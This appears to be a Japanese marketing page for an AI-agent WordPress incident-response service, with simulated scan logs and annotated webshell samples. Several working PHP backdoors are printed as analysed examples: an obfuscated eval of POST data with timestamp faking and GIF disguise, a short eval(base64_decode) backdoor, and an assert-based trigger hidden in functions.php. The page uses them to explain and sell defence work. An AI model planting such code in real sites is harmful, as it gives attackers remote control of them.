無料診断

Compromised sites. Restored futures.

CASE FILE — 002WP RESCUE UNIT
INTRUSION DETECTED

あなたのWordPressは、
すでにハッキング
されているかもしれない。

WordPressが乗っ取られた瞬間でも、外からは気づけない。 WATRIXのAIエージェント群が防壁の綻びの手掛かりを素早く洗い出し、原則24時間以内の着手を目標に動きます。

URL1行・登録不要・結果は即時表示

18

AIエージェント稼働

24h

以内着手(原則)

2h20m

実対応最速記録

※「2h20m」は特定事例の参考値です。所要時間はサイト規模・侵害深度・サーバ環境により大きく変動します。すべての WordPress サイトで同じ時間を保証するものではありません。

SPECIAL RESPONSE UNIT

少数精鋭のAIエージェント特務チームが、有人責任者と共に原則24時間以内に着手します。

watrix-incident-cli — agents.live — 88×24

[00:00:01] INFO scan target = wp-rescue-target.example

[00:00:04] INFO agent[fingerprint] → WordPress core v6.2 detected

[00:00:07] WARN agent[plugin-audit] → 2 plugins outdated (CVE match)

[00:00:11] ALERT agent[webshell-hunt] → suspicious file: wp​-content/uploads/.x7f.php

[00:00:13] ALERT agent[barrier] → 防御レイヤーに侵入痕跡を確認

[00:00:16] INFO agent[redirect-check] → unauthorized 301 chain found

[00:00:19] OK forensics snapshot secured → r2://incident-snapshots/…

[00:00:21] INFO escalating to human responder…

[00:00:22]

※ 表示は侵害対応時のログ表現をイメージ化したものです(実データではありません)。

SCENE 01 — ATTACK MAP

SCRUB 000%
SCRUB 000%

SCENE 02 — CODE AUTOPSY

実際の駆除現場で見つかるwebshell(演習環境で再現したサンプル)。スクロールに合わせて、私たちが読む順番で1行ずつ追っていきます。

ANNOTATION 01

関数名を16進エスケープで分解し、文字列検索から逃げる典型的な難読化です。

ANNOTATION 02

外部からのPOSTを無条件に実行する遠隔操作の入口。ここが「乗っ取り」の実体です。

ANNOTATION 03

更新日時を過去に偽装し、「最近変更されたファイル」の調査から隠れようとします。

/wp​-content/uploads/2026/06/.cache.phpQUARANTINED SAMPLE
01<?php02/* GIF89a — 画像ヘッダを装う偽装バイト */03error_reporting(0);04set_time_limit(0);05$k = "\x62\x61\x73\x65\x36\x34_decode";  // 関数名を分解して隠す06$z = $k("Z3p1bmNvbXByZXNz");            // gzuncompress07$w = $_SERVER["HTTP_USER_AGENT"] ?? "";08if (strpos($w, "Mozilla") === false) { exit; }  // 監視クローラを回避09@eval($z($k($_POST["payload"])));PURGED10file_put_contents(".sess_" . md5(__FILE__), $_POST["c"] ?? "");PURGED11@touch(__FILE__, strtotime("2024-01-15"));  // 更新日時を偽装12header("Content-Type: image/gif");13echo base64_decode("R0lGODlhAQABAAAA");   // 1px GIFを返し正常を装う14?>
SCRUB 000%
watrix@rescue: ~/incident-recoveryRECOVERY SHELL
$
[ 8 files ] checksum mismatch — flagged
$
evidence preserved: 2.4 GB (sha256 verified)
$
312 infected files across 9 directories
$
webshell isolated → /quarantine/0001.bin
$
purging injected payloads ... 312 → 41
$
removed 3 injected script rows / siteurl restored
$
rogue admin removed / all sessions revoked
$
core reinstalled clean / 24 plugins current
$
virtual patch + integrity watch enabled
$
0 threats found — monitoring engaged

SCENE 03 — RECOVERY SEQUENCE

INFECTED FILES REMAINING

312

STATUS: COMPROMISEDCLEAN — MONITORING

CLEAN

※ 本セクションのログ・コード・数値は、実対応をもとにした演出用の再現です(個別情報は匿名化)。

Field Notes — WordPress 侵害現場ログ

他社で復旧が終わったあと、WP-AIレスキューにセカンドオピニオンを依頼すると、 こういう の見落とし が見つかることがあります。 WordPress の侵害現場で AI エージェントが実際に検出した、3つの典型サンプルです。

Sample 01 / 01 of 03
📄 wp​-content/uploads/2026/05/lk9d8f.php

本サンプルは演習環境で実検出されたもの。アクセスログを精査しないと、設置と実行が一致せず見落とされる。

FIELD REPORT / 03 CASES LOGGED
lk9d8f.php
<?php
/* lk9d8f.php — 一見、単なる空ファイル。
   実態は、攻撃者が任意のPHPコードを実行できるバックドア。 */

if (isset($_REQUEST["c"])) {
  @eval(base64_decode($_REQUEST["c"]));
}
//↑ この3行で、サイト全体が攻撃者のものになる。
Sample 02 / 02 of 03
📄 wp​-content/themes/twentytwentyfour/functions.php

「ファイル名は変えられない、中身だけ汚染」型。テーマ更新で消すと管理画面ごと壊れるため、行範囲特定が必須。

FIELD REPORT / 03 CASES LOGGED
functions.php
// — 末尾に静かに追記される、難読化された再注入トリガー —
$_HK = "Z3ppbmZsYXRl";  // = "gzinflate"
@${$_HK = base64_decode($_HK)};  // 動的関数解決
if (isset($_GET["x"]) && $_GET["x"] === "ping") {
  @assert($_POST["p"] ?? "true");  // 任意コード実行
}
Sample 03 / 03 of 03
📄 wp​_options.siteurl / wp​_options._evil_url

ファイル系のスキャンだけでは絶対に見つからない。DBクエリでの直接照合が必要。

FIELD REPORT / 03 CASES LOGGED
wp​_options._evil_url
-- DB上の設定値が、ある日こうなっている。
SELECT option_name, option_value
FROM wp​_options
WHERE option_name IN ('siteurl', 'home');

-- option_value がこっそり外部ドメインに書き換わると、
-- ログイン画面まで攻撃者制御サーバへリダイレクトされる。

人手で1ファイルずつ目視している限り、見落としは生まれやすくなります。 18体の AI エージェントが 同時並列で 全ファイル・全 DB レコード・全アクセスログを照合し、 「この1行だけ怪しい」を徹底的に拾い上げる——これが WP-AIレスキューのアプローチです。

Service Overview

すでに WordPress が侵害された疑いがある方は 「症状から確かめる」 から、 業者選定の比較検討中の方は 「復旧の中身を知る」「実例を読む」 から、 それぞれ目的に合わせてお進みください。

Step 01

改ざん・乗っ取り・マルウェア混入・管理画面ログイン不可など、WordPress 侵害でよくある12の症状を1分で確認。当てはまれば、サイト URL を1行入れるだけで無料診断へ進めます。

症状を確認する
Step 02

18体の WordPress 専門 AI エージェント体制と、WordPress エコシステム準拠の7フェーズ。改ざん検出・封じ込め・ハードニングが、どんな順で進むのかを公開しています。

サービス詳細を見る
Case File

侵害発覚から完全復旧までの WordPress フィールドレポートを公開中。侵入経路の特定から証拠保全まで、ケースごとに4章のドキュメンタリーで追跡します。

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Step 03

WordPress 緊急復旧・フォレンジック調査・月次運用の3プラン。一般的な復旧業者との対応範囲の違いと、二次被害コストの参考レンジを比較表で掲載しています。

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